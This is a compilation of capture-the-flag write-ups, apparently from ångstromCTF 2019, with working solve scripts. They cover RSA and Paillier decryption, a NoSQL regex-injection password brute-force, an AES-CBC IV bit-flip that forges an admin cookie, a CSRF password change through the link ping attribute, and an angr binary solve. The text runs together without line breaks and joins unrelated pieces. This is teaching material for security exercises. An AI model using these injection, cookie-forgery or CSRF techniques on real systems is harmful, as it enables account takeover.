16930533490098193592341875268338741038205464836112117606904075086009220456281348541825239348922340771982668304609839919714900815429989903238980995651506801223966153299092163805895061846586943843402382398048697158458017696120659704031304155071717980681280735059759239823752407134078600922884956042774012460082427687595370305553669279649079979451317522908818275946004224509637278839696644435502488800296253302309479834551923862247827826150368412526870932677430329200284984145938907415715817446807045958350179492654072137889859861558737138356897740471740801040559205563042789209526133114839452676031855075611266153108409e = 3c = 11517346521350511968078082236628354270939363562359338628104189053516869171468429130280219507678669249746227256625771360798579618712012428887882896227522052222656646536694635021145269394726332158046739239080891813226092060005024523599517854343024406506186025829868533799026231811239816891319566880015622494533461653189752596749235331065273556793035000698955959016688177480102004337980417906733597189524580640648702223430440368954613314994218791688337730722144627325417358973332458080507250983131615055175113690064940592354460257487958530863702022217749857014952140922260404696268641696045086730674980684704510707326989seen = []for l in range(87): print(l) lp = (255-l)//2 if lp in seen: continue else: seen.append(lp) A = 2**(8*lp*e) Ainv = inverse(A,n) cu = (c*Ainv)%n bam = 24*l - 2048 + 1 bam = bam+1 if bam>0 else 1 for j in range(2**bam): m = integer_nthroot(cu+j*n,3)[0] m = long_to_bytes(m) if b'actf' in m: print(m) break``` which outputs the flag `actf{bad_padding_makes_u_very_sadding_even_if_u_add_words_just_for_the_sake_of_adding}`.
poc:```#coding:utf-8import requestsimport stringurl = "https://nosequels.2019.chall.actf.co/login"data = """{{"username":"admin","password":{{"$regex":"^{0}"}}}}"""str_all = string.letters + string.digitsheader = { "Content-Type": "application/json", "Cookie": "token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRoZW50aWNhdGVkIjpmYWxzZSwiaWF0IjoxNTU1NzU2NDgzfQ.Yc16r6Kc3eEIhB2bDLwEy1HtJ9aYQZCNd55ykg7Zxbw"} password = ""for i in range(15): print password for c in str_all: res = requests.post(url, data = data.format(password + c), headers=header) if "actf" in res.text: password = password + c break``````password: congratsyouwinflag: actf{still_no_sql_in_the_sequel}```
# Really Secure Algorithm - 30 points - 540 solves## Straightforward RSA: ```pythonfrom Crypto.Util.number import inversefrom binascii import unhexlifyp = 8337989838551614633430029371803892077156162494012474856684174381868510024755832450406936717727195184311114937042673575494843631977970586746618123352329889q = 7755060911995462151580541927524289685569492828780752345560845093073545403776129013139174889414744570087561926915046519199304042166351530778365529171009493e = 65537c = 7022848098469230958320047471938217952907600532361296142412318653611729265921488278588086423574875352145477376594391159805651080223698576708934993951618464460109422377329972737876060167903857613763294932326619266281725900497427458047861973153012506595691389361443123047595975834017549312356282859235890330349d = inverse(e,(p-1)*(q-1))n = p*qm = pow(c,d,n)print(unhexlify(hex(m)[2:]))```which returns the flag `actf{really_securent_algorithm}`.
## Challenge description:Someone scrubbed defund's [paper](https://github.com/TheEquus/angstromCTF2019-Writeups/blob/master/misc/blank_paper.pdf) too hard, and a few of the bytes fell off. ## Solution: We are given a pdf file titled 'blank_paper.pdf'For some odd reason, just opening the pdf normally (I opened it with through Firefox) still shows us the contents of the file. In the first page, we get the flag: `actf{knot_very_interesting}` Though, not all apps may be able to open it (e.g. Microsoft Edge) However, opening the file in hex editor, %PDF (25 50 44 46 in hex) is missing (referenced by "a few of the bytes fell off".)If we add back the %PDF, the file now behaves like a normal pdf file.
# Secret Sheep Society - 120 points - 95 solves## Attack againgst AES-CBC mode. We get a cookie `{"admin": false, "handle": "bam"}` AES-CBC encrypted with a known IV. By carefully modifying the IV, we can change the string `false` in the first block to `true`. The string `false` appears at indices 10 to 15 of the first block. Therefore, with C the being the first block, setting ```IV[10:15] = C[10:15] ^ 'false' ^ 'true '```will make the the admin parameter to `true` in the decrypted cookie. Here is the python implementation:```pythonimport requestsimport refrom Crypto.Util.strxor import strxorfrom base64 import * url = 'https://secretsheepsociety.2019.chall.actf.co/'cookie = "ZuNJ2xfy2eIegJsWEYmVTEwU63bTiSUAieVy8eVd+/qlqzDixgBcrqU6pHRIAsrY0C4/Uz1XTpreWMugeC8Fxw=="ct = b64decode(cookie)payload = ct[:10]+strxor(strxor(ct[10:15],b'false'),b'true ')+ct[15:]r = requests.get(url,cookies={'token':b64encode(payload).decode()})print(re.findall('actf{.*}',r.text))```which outputs the flag `actf{shep_the_conqueror_slumbers}`.
# Runes - 70 points - 234 solves## Paillier cryptosytem We are given numbers `n, g, c` and the hint *Paillier*. Googling for it, we discover the Paillier cryptosystem, which is based on the hardness of [decisional composite residuosity assumption](https://en.wikipedia.org/wiki/Decisional_composite_residuosity_assumption), which is weaker than integer factorization. This is good news since the parameter `n` is easily factored. It is then a matter of copy-pasting the algorithm on Wikipedia to get the flag:```pythonfrom math import gcdfrom Crypto.Util.number import inversefrom binascii import unhexlifyn= 99157116611790833573985267443453374677300242114595736901854871276546481648883g= 99157116611790833573985267443453374677300242114595736901854871276546481648884c= 2433283484328067719826123652791700922735828879195114568755579061061723786565164234075183183699826399799223318790711772573290060335232568738641793425546869 p = 310013024566643256138761337388255591613q = 319848228152346890121384041219876391791assert n == p*q def L(x): return (x-1)//n lamb = (p-1)*(q-1)//gcd(p-1,q-1)mu = inverse(L(pow(g,lamb,n**2)),n)m = L(pow(c,lamb,n**2))*mu%nprint(unhexlify(hex(m)[2:]))```which ouptuts the flag `actf{crypto_lives}`.
# ▼▼▼GiantURL(Web:190pts、solved:20/1374=1.5%)▼▼▼ This writeup is written by [**@kazkiti_ctf**](https://twitter.com/kazkiti_ctf) ```Have you ever wished your URLs were longer? No? Well here's a site that does it anyways (source). Note: the admin does visit the URL you have lengthened. Author: kmh11 Hint: With all these new browser features, you don't even need CSRF tokens anymore!``` --- ## 【source code】 ``` <html><head> <title>GiantURL</title></head><body style="margin: 0; padding: 0; font-family: sans-serif;"> <h1 style="font-family: 'Comic Sans MS', sans-serif; background-color: #097aa0; margin-top: 0; padding: 1em; color: white"><span>Giant</span>URL</h1> <form method="GET" action="/redirect" style="padding-left: 2em;"> Enter url: <input type="hidden" name="_" value="<?php echo base64_encode(hash("sha512", openssl_random_pseudo_bytes(64))); ?>"> <input type="text" name="url"> <button type="submit">Lengthen URL</button> <input type="hidden" name="__" value="<?php echo base64_encode(hash("sha512", openssl_random_pseudo_bytes(64))); ?>"> </form> <form method="POST" action="/report" style="padding-left: 2em;"> Find a URL you don't think we should be redirecting? Enter the lengthened URL here and an admin will review it: <input type="text" name="url"> <button type="submit">Report URL</button> </form> Click on >this link to go to your page! /dev/null 2>&1 &';; ?> The admin will review the link shortly. Here's your flag: <form method="POST" style="padding-left: 2em;"> Enter password: <input type="password" name="password"> <button type="submit">Log In</button> </form> Here's your flag: Incorrect password. 404 Page not found = 100 && count(array_unique(str_split($_REQUEST['password']))) > 10) { $password = $_REQUEST['password']; echo 'Successfully changed password.'; } else { echo 'Password is insecure.'; } } file_put_contents("password", $password); ?></body></html>``` Enter url: Find a URL you don't think we should be redirecting? Enter the lengthened URL here and an admin will review it: Click on >this link to go to your page! The admin will review the link shortly. Here's your flag: Enter password: Here's your flag: Incorrect password. 404 Page not found --- ## 【Understanding functions】 ・Sending url will create a long url ・When url is sent, admin comes to access ・Admin's login function (**flag can be obtained by sending a password**) ・**Countermeasures for CSRF attacks** are implemented on the browser side from Hint   (My guess "do not send Cookie if Referer is not same Origin") ・Also, admin **clicks the link of <a href=●●>** --- Send the following request ↓ ```GET /redirect?_=NzQ1NDU1NTM1YjY1NzY5Y2I3ZWExMDk1ZDQ0NzIwYzE1Njg1OTVlYjhhMGE2Mjk5OTk2ZDg2M2ZmZjljMzRmM2YzOTNmYzA0NDM1MWIxODYwMmNmYWYyZGU5MjBiNjRiYzE5Y2QwNTE0OTYwMTA0MmRlYmIyZjNmNWVmNmI3OTc%3D&url=http%3A%2F%2Fexample.com&__=N2U2YWU2ZDZjNGVkMWM2OWNhZmNmMWM4OWVkODcyY2MwMWNjYzQ4MTEyYzI3ZGJhMGFkMzFiMzdjM2NmOWIyZGZmMTE3NzZiMmE1YTNiOTdmZTdkMTJhMTZjYTIyMDY0ZDcyOGRjNGQzMTA2OWJjZTEyZDVkZWI3ZjY3N2E2NDE%3D HTTP/1.1Host: giant_url.2019.chall.actf.co``` ↓ ``` <html><head> <title>GiantURL</title></head><body style="margin: 0; padding: 0; font-family: sans-serif;"> <h1 style="font-family: 'Comic Sans MS', sans-serif; background-color: #097aa0; margin-top: 0; padding: 1em; color: white"><span>Giant</span>URL</h1> Click on this link to go to your page! </body></html>``` Click on this link to go to your page! ↓ `url` parameter is reflected but there is **no enclosing character**. `javascript:alert(1)` can not be XSS because it is **prevented by CSP**(Content-Security-Policy: default-src 'self'; style-src 'unsafe-inline';) --- ## 【exploit】 Send **POST** method using **<a>** tag's **ping attribute** ↓ Send the following url to admin. `https://giant_url.2019.chall.actf.co/redirect?url=%23+ping='https://giant_url.2019.chall.actf.co/admin/changepass?password=0123456789abcdef00000000000000000000000000000000000000000000000000000000000000000000000000000000000000'` ↓ As a result of sending a POST request, CSRF attack changes admin's password !! --- Next, access `/admin`, enter the following in admin password and send`0123456789abcdef00000000000000000000000000000000000000000000000000000000000000000000000000000000000000` ↓ `actf{p1ng_p0ng_9b05891fa9c3bed74d02a349877b1c60}`
I started manually reversing the binary using ghidra, but it seems like a problem that angr should easily be able to automatically solve. ```pythonimport angr, claripy proj = angr.Project('high_quality_checks') arg1 = claripy.BVS('arg1', 20*8)initial_state = proj.factory.entry_state(args=["high_quality_checks", arg1]) simgr = proj.factory.simulation_manager(initial_state) # Address 0x400ad2 is found using ghidra (it is the location that prints "You found the flag")simgr.explore(find=0x400ad2, avoid=[]) print(simgr.found[0].posix.dumps(0)) # actf{fun_func710n5}``` ![ghidra finding target location](https://raw.githubusercontent.com/NicolaiSoeborg/ctf-writeups/master/2019/%C3%85ngstrom%20CTF%202019/high_quality_checks-ghidra.png)